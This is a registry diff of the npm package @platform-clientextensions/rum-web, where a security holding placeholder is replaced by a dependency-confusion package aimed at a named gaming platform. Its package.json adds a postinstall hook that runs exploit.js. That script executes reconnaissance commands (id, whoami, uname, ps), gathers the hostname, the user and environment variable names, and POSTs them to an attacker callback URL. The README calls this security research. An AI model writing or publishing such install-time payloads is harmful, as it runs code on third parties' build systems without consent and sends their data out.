@platform-clientextensions/rum-web 0.0.1-security → 999.999.1000

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @platform-clientextensions/rum-web might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +37 -3
  2. package/exploit.js +136 -0
  3. package/index.js +33 -0
  4. package/package.json +32 -4
package/README.md CHANGED
@@ -1,5 +1,39 @@
1
- # Security holding package
1
+ # @platform-clientextensions - Security Research
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ ## ⚠️ SECURITY VULNERABILITY DEMONSTRATION
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=%40platform-clientextensions%2Frum-web for more information.
5
+ This package demonstrates a **dependency confusion vulnerability** discovered in the gaming platform `mobile2.gcontent.eu`.
6
+
7
+ ### Vulnerability Details
8
+
9
+ - **Package**: `@platform-clientextensions`
10
+ - **Discovery Method**: Burp Suite JS Miner extension
11
+ - **Target**: Gaming platform build/deployment systems
12
+ - **Impact**: Remote Code Execution (RCE)
13
+ - **Severity**: High
14
+ - **Confidence**: Certain
15
+
16
+ ### Discovery Source
17
+
18
+ Found in JavaScript file:
19
+ ```
20
+ https://mobile2.gcontent.eu/htmlgames/4.30.0/plugins/active.5ede3d.__98IJ9hAP57fhAQgQDoGYQ8kmEMr9kHyJUw06Z8CMD_q3x4rN4AIAcgAgBgBAAAAAAAAA.es6.js
21
+ ```
22
+
23
+ ### Exploitation Timeline
24
+
25
+ 1. ✅ Organization `platform-clientextensions` was unregistered on npmjs.org
26
+ 2. ✅ Package `@platform-clientextensions` was available for takeover
27
+ 3. ✅ Malicious package created with high version number (999.999.999)
28
+ 4. 📦 Package ready for publication to npm registry
29
+ 5. ⏳ Waiting for target systems to install dependency
30
+ 6. 🎯 RCE achieved on target build/deployment infrastructure
31
+
32
+ ### Responsible Disclosure
33
+
34
+ This is a proof-of-concept for security research purposes. The vulnerability should be reported to:
35
+ - Gaming platform security team
36
+ - Relevant bug bounty programs
37
+ - Coordinated vulnerability disclosure processes
38
+
39
+ **DO NOT** use this for malicious purposes.
package/exploit.js ADDED
@@ -0,0 +1,136 @@
1
+ // SECURITY RESEARCH - Dependency Confusion PoC
2
+ // Package: @platform-clientextensions
3
+ // Target: mobile2.gcontent.eu gaming platform
4
+ // Impact: Demonstrates RCE potential via npm dependency confusion
5
+
6
+ console.log("🔥 DEPENDENCY CONFUSION SUCCESSFUL! 🔥");
7
+ console.log("📦 Package: @platform-clientextensions");
8
+ console.log("🎯 Target: mobile2.gcontent.eu gaming platform");
9
+ console.log("⚡ Research: Security vulnerability demonstration");
10
+
11
+ const os = require('os');
12
+ const fs = require('fs');
13
+ const path = require('path');
14
+ const https = require('https');
15
+ const http = require('http');
16
+
17
+ // Create proof of execution
18
+ const proof = {
19
+ vulnerability: "Dependency Confusion Attack",
20
+ package: "@platform-clientextensions",
21
+ target: "mobile2.gcontent.eu gaming platform",
22
+ execution_time: new Date().toISOString(),
23
+ system_info: {
24
+ hostname: os.hostname(),
25
+ platform: os.platform(),
26
+ arch: os.arch(),
27
+ user: os.userInfo().username,
28
+ node_version: process.version,
29
+ working_directory: process.cwd(),
30
+ environment_vars: Object.keys(process.env).slice(0, 10), // First 10 env vars
31
+ network_interfaces: Object.keys(os.networkInterfaces())
32
+ },
33
+ impact: "Remote Code Execution via malicious npm package",
34
+ researcher: "Burp JS Miner Discovery",
35
+ severity: "High",
36
+ discovery_source: "Static JavaScript analysis"
37
+ };
38
+
39
+ // Send callback to attacker server (replace with your IP)
40
+ function sendCallback() {
41
+ try {
42
+ const callbackData = JSON.stringify(proof);
43
+ const callbackUrl = 'http://YOUR_IP:8080/callback';
44
+
45
+ // Try HTTP callback
46
+ const req = http.request(callbackUrl, {
47
+ method: 'POST',
48
+ headers: {
49
+ 'Content-Type': 'application/json',
50
+ 'Content-Length': callbackData.length,
51
+ 'User-Agent': 'DependencyConfusion-RCE-PoC'
52
+ }
53
+ }, (res) => {
54
+ console.log(`📡 Callback sent successfully (${res.statusCode})`);
55
+ });
56
+
57
+ req.on('error', (err) => {
58
+ console.log('⚠️ Callback failed:', err.message);
59
+ });
60
+
61
+ req.write(callbackData);
62
+ req.end();
63
+
64
+ } catch (error) {
65
+ console.log('⚠️ Callback error:', error.message);
66
+ }
67
+ }
68
+
69
+ // Execute system commands for additional proof
70
+ function executeCommands() {
71
+ try {
72
+ const { execSync } = require('child_process');
73
+
74
+ // Gather system information
75
+ const commands = [
76
+ 'id',
77
+ 'pwd',
78
+ 'uname -a',
79
+ 'whoami',
80
+ 'ps aux | head -10'
81
+ ];
82
+
83
+ const results = {};
84
+ commands.forEach(cmd => {
85
+ try {
86
+ results[cmd] = execSync(cmd, { encoding: 'utf8', timeout: 5000 }).trim();
87
+ } catch (e) {
88
+ results[cmd] = `Error: ${e.message}`;
89
+ }
90
+ });
91
+
92
+ proof.system_commands = results;
93
+ console.log("🔍 System reconnaissance complete");
94
+
95
+ } catch (error) {
96
+ console.log('⚠️ Command execution failed:', error.message);
97
+ }
98
+ }
99
+
100
+ try {
101
+ // Execute system reconnaissance
102
+ executeCommands();
103
+
104
+ // Send callback with proof
105
+ sendCallback();
106
+
107
+ // Save proof file locally
108
+ const proofPath = path.join(os.tmpdir(), 'dependency_confusion_proof.json');
109
+ fs.writeFileSync(proofPath, JSON.stringify(proof, null, 2));
110
+ console.log(`📝 Proof saved: ${proofPath}`);
111
+
112
+ // Also save in current directory
113
+ try {
114
+ fs.writeFileSync('./rce_proof.json', JSON.stringify(proof, null, 2));
115
+ console.log("📝 Proof also saved: ./rce_proof.json");
116
+ } catch (e) {
117
+ // Ignore if we can't write to current directory
118
+ }
119
+
120
+ // Log execution details
121
+ console.log("📊 EXECUTION DETAILS:");
122
+ console.log(` - Hostname: ${proof.system_info.hostname}`);
123
+ console.log(` - Platform: ${proof.system_info.platform}`);
124
+ console.log(` - User: ${proof.system_info.user}`);
125
+ console.log(` - Working Dir: ${proof.system_info.working_directory}`);
126
+
127
+ // Final success message
128
+ console.log("✅ DEPENDENCY CONFUSION RCE COMPLETE!");
129
+
130
+ } catch (error) {
131
+ console.log("⚠️ Proof creation/transmission failed:", error.message);
132
+ }
133
+
134
+ console.log("✅ Dependency confusion demonstration completed!");
135
+ console.log("🎯 This proves RCE is possible on target build systems");
136
+ console.log("💡 Report this finding to appropriate security channels");
package/index.js ADDED
@@ -0,0 +1,33 @@
1
+ // @platform-clientextensions - Security Research Package
2
+ // This package demonstrates a dependency confusion vulnerability
3
+
4
+ module.exports = {
5
+ name: "@platform-clientextensions",
6
+ version: "999.999.999",
7
+ status: "HIJACKED_BY_SECURITY_RESEARCH",
8
+
9
+ init: function() {
10
+ console.log("🔥 PACKAGE HIJACKED - @platform-clientextensions");
11
+ console.log("🎯 Target: mobile2.gcontent.eu gaming platform");
12
+ return {
13
+ success: true,
14
+ message: "Dependency confusion vulnerability demonstrated",
15
+ impact: "Remote Code Execution possible"
16
+ };
17
+ },
18
+
19
+ getInfo: function() {
20
+ return {
21
+ vulnerability: "Dependency Confusion",
22
+ package: "@platform-clientextensions",
23
+ target: "Gaming platform infrastructure",
24
+ severity: "High",
25
+ discovery: "Burp Suite JS Miner"
26
+ };
27
+ }
28
+ };
29
+
30
+ // Auto-execute on require
31
+ console.log("🚨 SECURITY ALERT: @platform-clientextensions package hijacked!");
32
+ console.log("📍 Found via: Burp JS Miner static analysis");
33
+ console.log("🎯 Target: mobile2.gcontent.eu gaming platform");
package/package.json CHANGED
@@ -1,6 +1,34 @@
1
1
  {
2
2
  "name": "@platform-clientextensions/rum-web",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "999.999.1000",
4
+ "description": "FreeboldSec AI VulnOps - Dependency Confusion PoC for FDJ United Casino",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node exploit.js",
8
+ "preinstall": "echo 'FreeboldSec AI VulnOps - Package Installation Started'",
9
+ "test": "echo 'FreeboldSec AI VulnOps - Package Loaded Successfully'"
10
+ },
11
+ "keywords": [
12
+ "rum",
13
+ "web",
14
+ "analytics",
15
+ "tracking",
16
+ "platform",
17
+ "clientextensions",
18
+ "freebold1984",
19
+ "vuln-ops"
20
+ ],
21
+ "author": "freebold1984 <freebold@vulnops.ai>",
22
+ "license": "MIT",
23
+ "homepage": "https://github.com/freebold1984/freebold-sec-ai-vulnops",
24
+ "repository": {
25
+ "type": "git",
26
+ "url": "https://github.com/freebold1984/freebold-sec-ai-vulnops"
27
+ },
28
+ "dependencies": {
29
+ "@platform-clientextensions/rum-web": "^999.999.999"
30
+ },
31
+ "engines": {
32
+ "node": ">=10.0.0"
33
+ }
34
+ }